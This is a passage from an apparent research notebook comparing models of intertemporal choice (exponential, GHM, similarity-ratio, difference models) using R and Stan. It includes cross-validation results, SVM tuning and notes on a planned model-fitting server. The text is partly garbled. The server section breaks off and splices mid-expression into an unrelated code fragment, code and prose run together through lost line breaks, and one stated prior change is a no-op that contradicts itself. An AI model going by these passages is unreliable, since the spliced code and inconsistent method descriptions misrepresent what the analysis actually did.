intervals are perhaps looser in that case. (And yes, general.adapt.est.1patatime is worth something for model.rewards.logpriors: its training quartets yield tighter intervals than a random sample of 60 adaptive.quartets.) model.diff also seems to have good coverage (at least, most of the time, I think), although the intervals are even looser.\n\nBy the way, I tried using check.model.precision with the whole of adaptive.quartets as a test set, although this is, of course, slow and takes like a gig of RAM. For model.diff, I got this (the first few rows are quantiles and the mean of the widths of 95% posterior intervals around all the choice probabilities; the last row is the proportion of these intervals that contained the true value):\n\n 2.5% 0.001 25.0% 0.015 meanwidth 0.117 75.0% 0.203 97.5% 0.391 coverage 1\n\nFor model.ghmk.rho, I got this:\n\n 2.5% 0 25.0% 0 meanwidth 0.011 75.0% 0 97.5% 0.182 coverage 0.947\n\nAnyway, the moral is that the adaptive procedures I have may be good enough for model.rewards.logprior and model.diff (although the latter probably needs better priors), even if the estimates of individual parameters appear imprecise.\n\n## Using a model-fitting server\n\nWhen using the adaptive procedure with human subjects, I'd like to have a computer other than the lab Windows boxes (when running Stony Brook students) or my VPS (when using MTurk) doing the computation. Getting Stan to work on a Windows box looks like a pain, and my VPS doesn't have the RAM for it and likely also won't have enough CPU cycles for it. So I'll run a sort of server program, written in R and interacting with Stan, that the client program (either a task program in lab, or a CGI program on my VPS) talks to in order to get each quartet during the adaptive procedure.\n\nSo now I need to design how the inter-process communication (IPC) is going to work. Here's the order of events:\n\n• The client gets a new decision from the subject. It saves the decision to the database, reads the decision from the database (why write and then read? the write would be INSERT OR IGNORE, so this scheme makes sure only one of the two possible choices for each trial ever gets sent to the server), does something to send this decision to the server, and waits until it gets a response. The message sent to the server identifies the subject or session, the model, the trial the decision was about, and the chosen reward (SS or LL).\n• The server has a master process that listens to a socket and hands off requests to child processes. (It arranges for child processes to be automatically reaped.) When it receives a request, it makes a new child and passes down the job description. Each child begins by creating a lockfile (a blank temporary file) and trying to insert a row for the job and the name of the lockfile in a database.\n\nIf it succeeds, it does the job. When it's done, it writes the job result to the database and removes the lockfile.\n\nks.test(scurve, punif)$statistic}))) print(mi <- which.min(vals)) print(vals[mi]) list(g, vals, mi)} The result was okay for v30 but not for scurve. I then tried analytic methods: Suppose we want the random variable SCURVE to be uniform. Then 1/(1 - 10 * E) must be uniform. Then what distribution must E have? E = 1/-(10/(1 - scurve) - 10) = (1 - 1/scurve) * (1/10) For each y (i.e., value taken by E), F_{E}(y) = prob(E ≤ y) = prob((1 - 1/SCURVE) * (1/10) ≤ y) = prob(SCURVE ≤ 1 / (1 - 10*y)) = F_{SCURVE}(1 / (1 - 10*y)) = 1 / (1 - 10*y) Now, how would we sample E in the context of Stan? Basically, by using the quantile function, which adds up to pretty much the same thing as parametrizing the model in terms of scurve, which is what I was doing to start with! Let's stick to the v30–scurve–rho parametrization of the GHM for now. ## Leave-one-out cross-validation for the majority model How well would the majority model do in leave-one-out cross-validation with the test set? For each subject, there would be 100 cross-validation rounds, one for each excluded quartet. Pick a subject and let N be their number of LL choices in the test set. Suppose we're doing a given round. In the part of the test set we're training from, there are n LL choices and (99 - n) SS choices. We predict LL for the left-out trial when and only when (modulo off-by-one errors, which I'm ignoring, as I usually do for the majority model) n >= (99 - n) 2n >= 99 n >= 49.5 n > 49 Now consider the two cases for the two possible values of the left-out trial. • If the left-out trial is LL, then n = N - 1, and we predict LL iff N - 1 > 49 or N > 50, meaning we predict correctly iff N > 50. • If the left-out trial is SS, then n = N, and we predict LL iff N > 49, meaning we predict correctly iff N < 50. (Yes, we always get it wrong when N = 50.) So now let's try characterizing overall cross-validation performance of the majority model as a function of N. • Suppose N > 50. Then we predict each left-out trial correctly when and only when it's LL. So overall, we get N of 100 rounds right. • Suppose N < 50. Then we predict each left-out trial correctly when and only when it's SS. So overall, we get (100 - N) of 100 rounds right. • When N = 50, we get it wrong every time. The upshot of this is that the majority model's performance when peeking at the data is equivalent to its performance under leave-one-out cross-validation, with the unimportant exception of the case when N = 50. ## Test-set consistency Of course, the point of randomly assigning people to models was to equate test-set performance as much as possible. Let's see how well this worked. Our sample sizes are: table(factor(sb[good.s, \"model\"])) count diff.rho 43 expk.rho 47 ghmk.rho 52 sr.rho 45 test.set.consistency(good.s)$plot\n\n\nIn this figure, you can see for each quartet and model group the proportion of subjects who picked LL. Those ranges look pretty wide, don't they?\n\nround(test.set.consistency(good.s)$quantiles, 3) value 2.5% 0.037 50% 0.104 97.5% 0.211 So the median of these ranges is 10%. That's not great. ## Parameter restriction s0175 may've suffered from the lower bound of diff.rho's prior for dr being too high. On the other hand, of the tight posteriors for dr, none go below -.4, suggesting that intervals that hit -.8 or so are just underconstrained. sr.rho seems to have a more substantial problem with the priors being too restricted. Look at show.param(l$sr.rho, \"dr\") and show.param(l$sr.rho, \"rho\"). But let's take a closer look at the subjects whose dr s seem cut off above. • s0040 and s0112 chose LL for every training trial, including$100 now vs. $105 in 4 months, so they were (almost?) more patient than we could've measured. • s0104 made some weird combinations of choices in the training trials, such as LL for$100 today vs. $110 in 4 months followed by SS for$90 today vs. $95 in 4 months. s0029 didn't seem to do anything weird, and judging from qplot(model.sr.rho$sample.posterior(ss(ts, s == \"s0029\" & type == \"train\"), 3e5)[,\"rho\"], geom = \"density\")\n\n\nhis rho parameter badly wants to be higher.\n\nI've tried widening the priors of sr.rho (I computed gamma as (1 / (1000 * rho)) instead of (1 / (100 * rho)), and tau as (exp(100 * dr) * gamma) instead of (exp(100 * dr) * gamma)) and running fit.all again. Surprisingly, although this did indeed solve the problem of, e.g., the posterior of rho for s0029 butting up against the end, prediction in the test set was generally worse than before. So so much for that.\n\n## Comparing train-to-test fits with test-to-test fits\n\nThe goal of this study has been to fit several models with a training procedure that's as ideal as possible, then use the fits thus obtained to predict performance in a separate, model-neutral test set. Perhaps we can illustrate the strengths of this approach by comparing the conclusions we get this way to conclusions we'd get from just fitting all the models directly to the test set, which is much more like the usual practice in psychology and behavioral economics. For ease of implementation, at least to begin with, let's do this test-to-test procedure the Bayesian way (albeit, again, fitting subjects indpendently, without hierarchal models) rather than using a more common technique like MLE.\n\nfitall.train2test = cached(fit.all.train2test(good.s))\nfitall.test2test = cached(fit.all.test2test(good.s))\n\n\n(When I last ran the above, on 15 Jul 2013, there was only one bailout, for s0237 in train2test, who was assigned ghmk.rho.)\n\nFirst, here's the mean number of correct predictions in the test set for the usual (train-to-test) procedure. The way to interpret these tables is that each row gives you the bootstrap confidence that the mean of m1 is greater than the mean of m2.\n\nboot.correctness(fitall.train2test)\n\nm1 m1.mean m2 m2.mean confidence\n1 expk.rho 0.859 ghmk.rho 0.840 0.88\n2 ghmk.rho 0.840 sr.rho 0.809 0.96\n3 sr.rho 0.809 diff.rho 0.742 1.00\n\nSo sr.rho made more correct predictions than diff.rho, the discounting models made more correct predictions than sr.rho and diff.rho, and ghmk.rho didn't make more correct predictions than expk.rho.\n\nboot.correctness(fitall.test2test)\n\nm1 m1.mean m2 m2.mean confidence\n1 ghmk.rho 0.868 sr.rho 0.861 0.80\n2 sr.rho 0.861 expk.rho 0.858 0.68\n3 expk.rho 0.858 diff.rho 0.855 0.63\n\nCompared to the train-to-test procedure, the means are more homogeneous (confidences for the ranking are lower). Generally, they've increased, but some increases have been more dramatic.\n\ndo.call(rbind, lapply.names(models.by.name, function (m)\n{train2test = fitall.train2test[[m]]$total test2test = fitall.test2test[[m]]$total\ndata.frame(train2test, test2test,\ndiff = test2test - train2test)}))\n\ntrain2test test2test diff\nexpk.rho 0.859 0.858 -0.001\nghmk.rho 0.840 0.868 0.028\ndiff.rho 0.742 0.855 0.113\nsr.rho 0.809 0.861 0.052\n\nNotice how the better each model did in the train-to-test procedure, the smaller the improvement in its performance by letting it peek at the test set. This is nice. It shows how the train-to-test procedure, by protecting against overfitting, did a better job than the test-to-test procedure of distinguishing among the models. It also implies that expk.rho is less readily overfit than the other models.\n\nNow let's look at the RMSE of all the predictions. For each prediction, we calculate the error as p - t, where p is the predicted probability of choosing the larger-later option (LL), and t is 1 if the the actual choice was LL and 0 if it was SS.\n\nboot.rmse(fitall.train2test)\n\nm1 m1.mean m2 m2.mean confidence\n1 diff.rho 0.420 sr.rho 0.369 0.99\n2 sr.rho 0.369 ghmk.rho 0.331 0.99\n3 ghmk.rho 0.331 expk.rho 0.329 0.55\n\nThis is essentially the same ranking as for the correctness scores (except it's backwards because smaller means are better this time). Hooray, consistency.\n\nboot.rmse(fitall.test2test)\n\nm1 m1.mean m2 m2.mean confidence\n1 diff.rho 0.312 expk.rho 0.308 0.66\n2 expk.rho 0.308 sr.rho 0.299 0.86\n3 sr.rho 0.299 ghmk.rho 0.295 0.67\n\nLikewise, this ranking is consistent with the one for test-to-test correctness scores.\n\ntmm.rmse = function (tmm)\nmean(daply(ss(tmm, !is.na(trial)), .(factor(s)), function(slice)\nsqrt(mean((slice$mean - (slice$actual == \"ll\"))^2))))\n\ndo.call(rbind, lapply.names(models.by.name, function (m)\n{train2test = tmm.rmse(fitall.train2test[[m]]$tmm) test2test = tmm.rmse(fitall.test2test[[m]]$tmm)\ndata.frame(\ntrain2test = round(train2test, 3),\ntest2test = round(test2test, 3),\ndiff = round(test2test - train2test, 3))}))\n\ntrain2test test2test diff\nexpk.rho 0.329 0.308 -0.021\nghmk.rho 0.331 0.295 -0.036\ndiff.rho 0.420 0.312 -0.108\nsr.rho 0.369 0.299 -0.070\n\nWe have largely the same pattern of differences as for correctness rates.\n\nHere are plots of the v30 parameter for expk.rho with the test-to-test procedure and train-to-test procedure. It looks like the 95% credible intervals are generally narrower for train-to-test, perhaps because of the adaptive procedure.\n\ntmm.param.plot(fitall.train2test$expk.rho$tmm, \"v30\")\n\ntmm.param.plot(fitall.test2test$expk.rho$tmm, \"v30\")\n\n\nAnd now for some nigh-illegible plots of every prediction.\n\nshow.all.predictions(fitall.train2test)\n\nshow.all.predictions(fitall.test2test)\n\n\nThe models look more different from each other under train-to-test, as expected. By the way, it looks like Christian was right about people not having a good sense of what 8 weeks is like, judging from the yellow horizontal stripe in every panel.\n\n### Comparing parameter estimates for expk.rho and ghmk.rho\n\nFor the exponential model and the GHM, let's see how parameter estimates differed between test-to-test and train-to-test. In these figures, for legibility, only the 95% credible intervals are shown.\n\nttvtt = function(model, param)\ntmms.param.plot(param.name = param, rbind(\ntransform(fitall.train2test[[model]]$tmm, group = \"train2test\"), transform(fitall.test2test[[model]]$tmm,\ngroup = \"test2test\")))\n\nttvtt(\"expk.rho\", \"v30\") +\nscale_y_continuous(limits = c(0, 1), expand = c(0, 0))\n\nttvtt(\"ghmk.rho\", \"v30\") +\nscale_y_continuous(limits = c(0, 1), expand = c(0, 0))\n\n\nFor v30, it looks like train-to-test produced tighter intervals than test-to-test. But the intervals for ghmk are wider than the intervals for expk. Also, it looks like the distribution of v30s is more bimodal for expk than ghmk.\n\nttvtt(\"expk.rho\", \"rho\") + scale_rho\n\nttvtt(\"ghmk.rho\", \"rho\") + scale_rho\n\n\nFor rho, it looks like train-to-test predicted much larger individual differences than test-to-test, and this effect is greater for expk than ghmk. Perhaps as a result, there's greater agreement between the procedures for ghmk.\n\nSo one general impression I'm getting is that expk is more variable between subjects than ghmk. I guess that's a weak argument that expk is better, if we take for granted that individual differences in temporal discounting are large.\n\nLastly, for laughs, here's a plot for ghmk's curvature parameter.\n\nttvtt(\"ghmk.rho\", \"scurve\") + scale_rho\n\n\nHere I guess the chief thing to observe is that there was a lot of uncertainty about curvature, with perhaps a bit more for train-to-test. Notice that most intervals contain .1 (hyperbolic discounting) and a number less than .13 (0 is exponential discounting).\n\n### Parameter correlations\n\nReading Peters, Miedl, and Büchel (2012) gave me the idea of checking correlations between parameters. Let's look at the between-subject correlations of posterior means. We'll use Spearman correlations to avoid scale issues.\n\nround(digits = 3,\ntmm.param.means.cor(fitall.train2test$expk.rho$tmm))\n\nvalue\n0.646\n\nSo more patient people were noisier. That's an annoyingly strong correlation, actually.\n\nround(digits = 3,\ntmm.param.means.cor(fitall.train2test$ghmk.rho$tmm))\n\nscurve rho\nv30 0.752 0.509\nscurve   0.235\n\nThe correlation of v30 and rho is still here, if somewhat lesser. The correlation of v30 and scurve is substantial: more patient people had flatter discount functions.\n\n## Test-to-test AIC\n\naic.test2test = cached(aics.by.model(\nss(ts, s %in% good.s & type == \"test\"),\nfitall.test2test))\n\nround(digits = 2,\nboot.ranks(aic, model, data = aic.test2test, n = 5e4))\n\nsr.rho expk.rho diff.rho\nghmk.rho 0.61 0.77 0.95\nsr.rho   0.68 0.91\nexpk.rho     0.82\n\n## Paper thinking\n\n### Potential paper outline\n\n• Introduce the idea of intertemporal choice\n• Discuss past controversies on what models are appropriate\n• Titration or matching procedures in preference to shuffled choices\n• Test-set deficiencies\n• Small size\n• Ignoring front-end delays\n• Using a very limited assortment of durations (e.g., just 15 days and 30 days)\n• Using weird durations that people don't have a feel for (e.g., 17 days)\n• Training-set deficiencies: a given set of training data may be more helpful for one model than another\n• The danger of overfitting that arises from training and testing with the same data\n• No explicit modeling of noise\n• Using point estimates of parameters rather than marginalizing over all uncertainty in Bayesian fashion\n• Introduce the four specific models tested in this study\n• Present results of the test-to-test procedure (after explaining just enough of the study design so that this can be understood)\n• Present results of the train-to-test procedure (after explaining the rest of the study design), contrasting them with the test-to-test results\n• Toubia, Johnson, Evgeniou, and Delquié (2013)\n\n### Completeness vs. accuracy\n\nWhat we'd really like is a complete model of intertemporal choice. That's why observation of anomalies motivates switching to weirder models. But we can't get a complete model soon. Such a model would need to incorporate essentially everything that can influence a judgment or decision, and practically anything can:\n\n• Some particular amounts or delays might have special meaning to some people\n• If you're paid biweekly, you might compare a 2-week (but not 1-week or 3-week) reward to your paycheck\n• Perhaps you need $110 for a bill • Perhaps you think 40 is a lucky number • Choices in one trial can be influenced by choices in past trials • Someone might take an option because it's similar to options they took before • Someone might apply a deliberate rule (e.g., regarding pay rate). • Display format can influence choices •$1 versus 100 cents\n• 7 days versus 1 week\n• Left side versus right side\n• Non-fluent options may be rounded in different ways by different subjects\n• Someone might take an option because it's easy to conceive of (fluency)\n• Physiological state or other apparent influences on patience (e.g., intelligence)\n• We might hope that the effect of these things can be described with the same parameters useful for describing individual differences, but that's not guaranteed.\n\nSince completeness is out of reach, at least for the foreseeable future, it seems reasonable to ask, rather than which model is most complete, which model is most accurate overall. That is, which model can actually do the best job of predicting people's choices?\n\n(Besides, what's the point of a complete but inaccurate model?)\n\nA good answer to this question could be of great practical value. If there's any real connection between what intertemporal-choice tasks measure and the real-life DVs mentioned earlier, models that do a better job of predicting lab behavior should also do a better job of predicting real-life DVs.\n\nSo I set out to do a model-comparison study. There have been a lot of such studies, but mine differs because of the focus on predictive accuracy. (Also, the model set is unusually diverse.)\n\n## Within-subject consistency\n\nReviewer 2 for the first submission to JBDM suggested \"including the same binary choices twice, and checking for consistency\". The test set, by construction, had no duplicates, but we can look for duplicates in the training sets.\n\ndodge(factor(model), unique.train, data = sb[good.s,]) + boxp +\ncoord_cartesian(ylim = c(10, 50))\n\n\nIt appears that duplicates are actually very common. In fact, nobody saw 50 unique trials. Let's see how often people chose consistently across duplicates.\n\ndupes = ddply(ss(ts, s %in% good.s),\n.(s, q = paste(ssr, ssd, llr, lld)),\nfunction(slice)\nif (nrow(slice) == 1)\nNULL\nelse\nc(n = nrow(slice), chose.ll = sum(slice$choice == \"ll\"))) Note that dupes, unlike the plot above, includes the test set as well; although the test set doesn't contain any duplicates internally, the training and test sets may share quartets. table(dupes$n)\n\ncount\n2 1041\n3 303\n4 138\n5 44\n\nWe see that most duplicates appeared twice or thrice, although a significant minority appeared four or five times. (We're treating the same quartet as different when different subjects saw it.)\n\nround(digits = 3, c(\n\"all\" = mean(with(dupes, (chose.ll/n) %in% c(0, 1))),\n\"2 or 3 reps\" = mean(with(ss(dupes, n %in% c(2, 3)), (chose.ll/n) %in% c(0, 1))),\n\"2 reps only\" = mean(with(ss(dupes, n == 2), (chose.ll/n) %in% c(0, 1)))))\n\nvalue\nall 0.676\n2 or 3 reps 0.673\n2 reps only 0.695\n\nThese are the proportion of quartets for which people were perfectly consistent. I would characterize these figures as… unimpressive. To get a sense of how unimpressive, we can try something like a significance test.\n\nround(digits = 3,\nqbinom(.999999, size = nrow(ss(dupes, n == 2)), prob = .5)/nrow(ss(dupes, n == 2)))\n\nvalue\n0.573\n\nOkay, given that that's the .999999 quantile of the relevant distribution, a boneheaded model of null responding is not, in fact, tenable. That's comforting, at least.\n\nNow, reviewer 2 was (rightly) particularly concerned about differental random responding, or effects of random responding, between the model conditions: \"If the procedure introduces more random or heuristic responding into the dataset, how this would affect the relative predictive accuracy of the models under consideration?\" Let's first see how consistency compares between the model conditions.\n\nround(digits = 3, daply(dupes,\n.(model = factor(sb[char(s), \"model\"])),\nfunction(slice)\nmean((slice$chose.ll/slice$n) %in% c(0, 1))))\n\nvalue\ndiff.rho 0.727\nexpk.rho 0.688\nghmk.rho 0.664\nsr.rho 0.619\n\nThat's not great. I hoped all the figures would be about the same. I guess we have to acknowledge that it is possible the adaptive procedure induces different degrees of response noise for different models.\n\n## Test set-only validation\n\nReviewer 1 for JBDM wanted an analysis using half of the test set as training data and the other half as test data, and also for us to include a hyperbolic model. We can improve on this proposal by randomly splitting the data into training and test sets separately per subject.\n\nfitall.holdout = cached(fit.all.holdout(good.s,\nholdout.factor = 1/2,\nmodels = c(models.by.name, list(hypk.rho = model.hypk.rho))))\n\ndodge(Var2, value, data = melt(sapply(c(names(models.by.name), \"hypk.rho\"), function(m) fitall.holdout[[m]]$each.s$correct)), discrete = T) + boxp\n\nrx = simplify2array(lapply.names(fitall.holdout, function(m) daply(ss(fitall.holdout[[m]]$tmm, !is.na(trial)), .(factor(s)), function(slice) with(slice, sqrt(mean( (mean - (actual == \"ll\"))^2 )))))) dodge(Var2, value, data = melt(rx)) + boxp The correct-count and RMSE ratings shown here are for all models similar to the performance of Exp under train-to-test. So it seems that the effect of using the adaptive procedure for training, rather than more trials of the kind that appear the test set, is only to worsen the performance of Diff and SR, and with this obstacle removed, all the models perform about the same. Oops? ### Cross-validation Now let's try 5-fold cross-validation within the test set. fitall.xvalid = cached(fit.all.xvalid( good.s, folds = 5, models = c(models.by.name, list(hypk.rho = model.hypk.rho)), ts)) fitall.xvalid.correct = ss( melt(sapply(c(names(models.by.name), \"hypk.rho\"), function(m) with(fitall.xvalid[[m]], tapply((mean >= .5) == (actual == \"ll\"), s, sum)))), !is.na(value)) names(fitall.xvalid.correct) = qw(s, model, correct) dodge(model, correct, discrete = T, data = fitall.xvalid.correct) + scale_y_continuous(breaks = seq(50, 100, 5)) + boxp rx = simplify2array(lapply.names(fitall.xvalid, function(m) daply(fitall.xvalid[[m]], .(factor(s)), function(slice) with(slice, sqrt(mean( (mean - (actual == \"ll\"))^2 )))))) dodge(Var2, value, data = melt(rx)) + boxp These results for correct-count and RMSE look very similar to the results for one-round validation presented previously. How about within-subjects comparisons of these cross-validations? x = ss( data.frame(sapply(c(names(models.by.name), \"hypk.rho\"), function(m) with(fitall.xvalid[[m]], tapply((mean >= .5) == (actual == \"ll\"), s, sum)))), !is.na(expk.rho)) dodge(Var2, value, discrete = T, stack.width = 10, data = melt(ss(t(maprows(x, function(v) v - v[\"diff.rho\"])), select = -diff.rho))) + boxp + scale_y_continuous(name = \"Improvement over Diff\", breaks = seq(-10, 16, 2)) + xlab(\"Model\") x = simplify2array(lapply.names(fitall.xvalid, function(m) daply(fitall.xvalid[[m]], .(factor(s)), function(slice) with(slice, sqrt(mean( (mean - (actual == \"ll\"))^2 )))))) dodge(Var2, value, data = melt(ss(t(maprows(x, function(v) v[\"diff.rho\"] - v)), select = -diff.rho))) + boxp + scale_y_continuous(name = \"Improvement over Diff\") + xlab(\"Model\") Here is a table of for each model, the number of subjects whose lowest RMSE was for that model. sort(table(maprows(x, function(v) names(v)[which.min(v)])), dec = T) value sr.rho 70 diff.rho 42 expk.rho 28 hypk.rho 24 ghmk.rho 23 sr.rho (BT) is the clear winner by this metric. But here is a measure of within-subject variability of RMSE: the quantiles of the ranges of RMSE between the five models. round(d = 3, quantile( maprows(x, function(v) max(v) - min(v)), c(.025, .25, .5, .75, .975))) value 2.5% 0.008 25% 0.022 50% 0.038 75% 0.055 97.5% 0.105 This seems to imply that within-subject differences in model accuracy are generally small. ## Other learners ### Rationale We now seem to be in the surprising situation where all the models are performing about the same, with accuracy around 86% and RMSE around .325. There are all sorts of things we could look at in order to try to explain why all the models are performing similarly to each other and why cross-validated test error is hardly more than the training error. But we have little ability to distinguish plausible explanations from correct explanations without collecting new data for the purpose. Which is one of the problems with explanatory science, of course. Let's instead back up a bit and frame the question of this project (and the eventual paper) as \"What sorts of predictive procedures are good in this situation?\", where \"this situation\" is now prediction of the test set with (disjoint pieces of) itself. We'll investigate a few other predictive procedures, including very simple things like the majority model (analyzed predictively, not prophetically as in the first manuscript) and perhaps naive Bayes, and also heavier-duty machine-learning techniques like decision trees. Non-Bayesian applications of the existing models would also make sense. The goal is to identify what is the best predictive accuracy achievable (and with which procedures) and what is the simplest procedure one can use that still achieves respectable accuracy. We might also try changing the training-set size to see how it affects these matters. ### SVM tuning svm.explore = function(gamma, cost) do.call(rbind, lapply(good.s, function(the.s) {message(the.s); t = ss(ts, char(s) == the.s & type == \"test\"); if (any(table(t$choice) < 4)) return(NULL); iv = t[qw(ssr, ssd, llr, lld)]; for (col in seq_len(ncol(iv))) iv[,col] = zscore(iv[,col]); data.frame(s = the.s, tune.svm(x = iv, y = t$choice, scale = F, type = \"C-classification\", cost = cost, gamma = gamma)$performances[qw(gamma, cost, error)])}))\n\n# svm.optim = function(the.s)\n# {message(the.s);\n# t = ss(ts, char(s) == the.s & type == \"test\");\n# if (any(table(t$choice) < 4)) # return(NULL); # iv = t[qw(ssr, ssd, llr, lld)]; # for (col in seq_len(ncol(iv))) iv[,col] = zscore(iv[,col]) # dv = t$choice\n# o = optim(c(-13, 19),\n# fn = function(p)\n# tune.svm(x = iv, y = dv,\n# scale = F, type = \"C-classification\",\n# gamma = 2^p, cost = 2^p)$best.performance, # # method = \"BFGS\", # control = list(trace = 1, maxit = 25, reltol = 1e-2)) # o} svm.perfs = rbind( cached(do.call(rbind, lapply(good.s, function(the.s) {message(the.s); t = ss(ts, char(s) == the.s & type == \"test\"); if (any(table(t$choice) < 4)) return(NULL); iv = t[qw(ssr, ssd, llr, lld)]; for (col in seq_len(ncol(iv))) iv[,col] = zscore(iv[,col]); data.frame(s = the.s, tune.svm(x = iv, y = t$choice, scale = F, type = \"C-classification\", cost = 2^seq(-5, 15, 2), gamma = 2^seq(-15, 3, 2))$performances[qw(gamma, cost, error)])}))),\ncached(do.call(rbind, lapply(good.s, function(the.s) {message(the.s); t = ss(ts, char(s) == the.s & type == \"test\"); if (any(table(t$choice) < 4)) return(NULL); iv = t[qw(ssr, ssd, llr, lld)]; for (col in seq_len(ncol(iv))) iv[,col] = zscore(iv[,col]); data.frame(s = the.s, tune.svm(x = iv, y = t$choice, scale = F, type = \"C-classification\", cost = 2^seq(17, 21, 2), gamma = 2^seq(-15, 5, 2))$performances[qw(gamma, cost, error)])}))), cached(svm.explore(gamma = 2^c(-17, -19, -21), cost = 2^c(23, 25, 27))), cached(svm.explore(gamma = 2^c(-17, -19, -21), cost = 2^c(17, 19, 21))), cached(svm.explore(gamma = 2^c(-15, -13, -11), cost = 2^c(23, 25, 27)))) svm.perfs = transform(svm.perfs, gamma = log(gamma, 2), cost = log(cost, 2)) ggplot(aggregate(excess ~ gamma + cost, ddply(svm.perfs, .(s), function(slice) transform(slice, excess = error - min(error))), function (v) sum(v^2))) + geom_raster(aes(gamma, cost, fill = excess)) + scale_fill_gradient(low = \"gray80\", high = \"black\") + geom_text(aes(gamma, cost, label = round(100*excess))) + geom_point(aes(x, y), data = expand.grid(x = seq(-25, 5, len = 5), y = seq(-5, 25, len = 5)), color = \"blue\") I don't really want to \"overfit\" my SVM tuning to the results here, not least because the surface could look quite different when there's lots of noise or the training set is small. And I guess I want to stick to a grid search, because that's standard practice, and designing an effective yet fast method of adaptively tuning SVM hyperparameters is probably not worth my time for this project. So I'll do a grid search on the blue points. ### Comparison of robustness We will repeat the cross-validation analyses from before, except that in each fold, we'll randomly tamper with a fixed portion of the training set. For the choice we want to corrupt, we'll choose at random whether to replace it with SS or LL rather than always changing it to its reverse (which I suspect is too harsh to more complex models). correct.by.integrity = cached(metaparam.xvalid( corrupt.training.data.mxw, good.s, c(90, 70, 60, 50, 30, 15, 10))) correct.by.train.size.plot(T, aggregate( correct ~ learner + train.size, correct.by.integrity, median)) + coord_cartesian(xlim = c(10, 90), ylim = c(50, 90)) + xlab(\"Uncorrupted training trials\") + ylab(\"Median correct predictions\") Here diff.glm seems to be the clear winner. Although its performance deteriorates as the training set is corrupted, it tends to do much better than other models facing the same amount of noise. correct.by.train.size.plot(T, aggregate( correct ~ learner + train.size, correct.by.integrity, function (v) quantile(v, .1))) + coord_cartesian(xlim = c(10, 90), ylim = c(40, 80)) + xlab(\"Uncorrupted training trials\") + ylab(\"First decile of correct predictions\") diff.glm isn't as consistently good when we look at worse cases, the first decile of performance. Here there's a less clear winner, although sr.mle and hyp.mle are good across-the-board performers, and diff.glm only gets bad when train.size = 5. ### Comparison of training-set sizes correct.by.train.size = cached(metaparam.xvalid( shrink.training.data.mxw, good.s, c(90, 70, 60, 50, 30, 15, 10))) correct.by.train.size.plot(T, aggregate( correct ~ learner + train.size, correct.by.train.size, median)) + coord_cartesian(xlim = c(10, 90), ylim = c(50, 90)) + ylab(\"Median correct predictions\") sr.mle is slightly better than diff.glm and hyp.mle, which are about evenly matched. correct.by.train.size.plot(T, aggregate( correct ~ learner + train.size, correct.by.train.size, function (v) quantile(v, .1))) + coord_cartesian(xlim = c(10, 90), ylim = c(40, 80)) + ylab(\"First decile of correct predictions\") Now diff.glm isn't doing so hot. sr.mle and hyp.mle continue to do well. ## New analyses for BJDSM submission 2 ### Differences between MTurk and lab dodge(ifelse(is.na(worker), \"Lab\", \"MTurk\"), test.lls, data = sb[good.s,]) + boxp Looks like MTurk subjects are more patient. correct.lab = cached(metaparam.xvalid( shrink.training.data.mxw, row.names(ss(sb, good & is.na(worker))), 90)) correct.mturk = cached(metaparam.xvalid( shrink.training.data.mxw, row.names(ss(sb, good & !is.na(worker))), 90)) ggplot(prettify.lnames(ss(correct.lab, train.size == 90))) + stat_summary(aes(learner, correct), geom = \"crossbar\", fun.data = function(y) names<-(quantile(y, c(.25, .5, .75)), qw(ymin, y, ymax))) + stat_summary(aes(learner, correct), geom = \"point\", fun.y = function(y) quantile(y, .1), shape = \"X\", size = 5) + stat_summary(aes(learner, correct), geom = \"point\", fun.y = mean, color = \"red\", size = 3) + scale_y_continuous(breaks = seq(0, 100, 2), minor_breaks = NULL) + coord_cartesian(ylim = c(50, 92)) + xlab(\"Model\") + ylab(\"Accuracy\") + theme( panel.grid.major.x = element_blank(), panel.grid.major.y = element_line(colour = \"gray50\", size = 0.07)) ggplot(prettify.lnames(ss(correct.mturk, train.size == 90))) + stat_summary(aes(learner, correct), geom = \"crossbar\", fun.data = function(y) names<-(quantile(y, c(.25, .5, .75)), qw(ymin, y, ymax))) + stat_summary(aes(learner, correct), geom = \"point\", fun.y = function(y) quantile(y, .1), shape = \"X\", size = 5) + stat_summary(aes(learner, correct), geom = \"point\", fun.y = mean, color = \"red\", size = 3) + scale_y_continuous(breaks = seq(0, 100, 2), minor_breaks = NULL) + coord_cartesian(ylim = c(50, 92)) + xlab(\"Model\") + ylab(\"Accuracy\") + theme( panel.grid.major.x = element_blank(), panel.grid.major.y = element_line(colour = \"gray50\", size = 0.07)) These are both comparable to the original figure. ### Prediction overlap indpred = cached(ordf(individual.xvalid(good.s), learner, s, qn)) indpred$predll = indpred$pred == \"ll\" indpred.ary = acast(indpred, learner ~ qn ~ s, value.var = \"predll\") overlap.plot = function(focal.lname) {focus = indpred.ary[focal.lname,,] d = prettify.lnames(do.call(rbind, lapply(setdiff(names(learners), focal.lname), function(comparison.lname) data.frame( learner = comparison.lname, qn = 1 : nrow(focus), agree = rowMeans(focus == indpred.ary[comparison.lname,,]))))) ggplot(d) + ggtitle(paste(\"Agreement with predictions of\", names(pretty.learner.names)[pretty.learner.names == focal.lname])) + geom_tile(aes(learner, qn, fill = agree)) + scale_fill_gradient2(name = \"Agreement\", limits = c(0, 1), midpoint = .5, low = \"#ff7f00\", high = \"blue\") + scale_y_continuous(name = \"Quartet\", expand = c(0, 0), breaks = c(1, 25, 50, 75, 100)) + scale_x_discrete(name = \"Comparison model\", expand = c(0, 0))} overlap.plot(\"majority\") overlap.plot(\"knn\") overlap.plot(\"diff.glm\") overlap.plot(\"exp.mle\") overlap.plot(\"hyp.mle\") overlap.plot(\"sr.mle\") overlap.plot(\"ghm.mle\") overlap.plot(\"full_logit\") overlap.plot(\"rf\") overlap.plot(\"svm\") ### Saturated logit model xvalid.saturated = cached(individual.xvalid(good.s, lnames = \"saturated_logit\", extra.learners = list(saturated_logit = extra.learner.saturated_logit))) ggplot(data.frame(correct = daply(xvalid.saturated, .(factor(s)), function(x) sum(x$choice == x\\$pred)))) +\nstat_summary(aes(1, y = correct), geom = \"crossbar\",\nfun.data = function(y)\nnames<-(quantile(y, c(.25, .5, .75)), qw(ymin, y, ymax))) +\nstat_summary(aes(1, y = correct), geom = \"point\",\nfun.y = function(y) quantile(y, .1),\nshape = \"X\", size = 5) +\nstat_summary(aes(1, y = correct), geom = \"point\",\nfun.y = mean,\ncolor = \"red\", size = 3) +\nscale_y_continuous(breaks = seq(0, 100, 2), minor_breaks = NULL) +\nscale_x_continuous(name = \"\", breaks = c()) +\ncoord_cartesian(ylim = c(50, 92)) +\nylab(\"Accuracy\") +\ntheme(\npanel.grid.major.x = element_blank(),\npanel.grid.major.y = element_line(colour = \"gray50\", size = 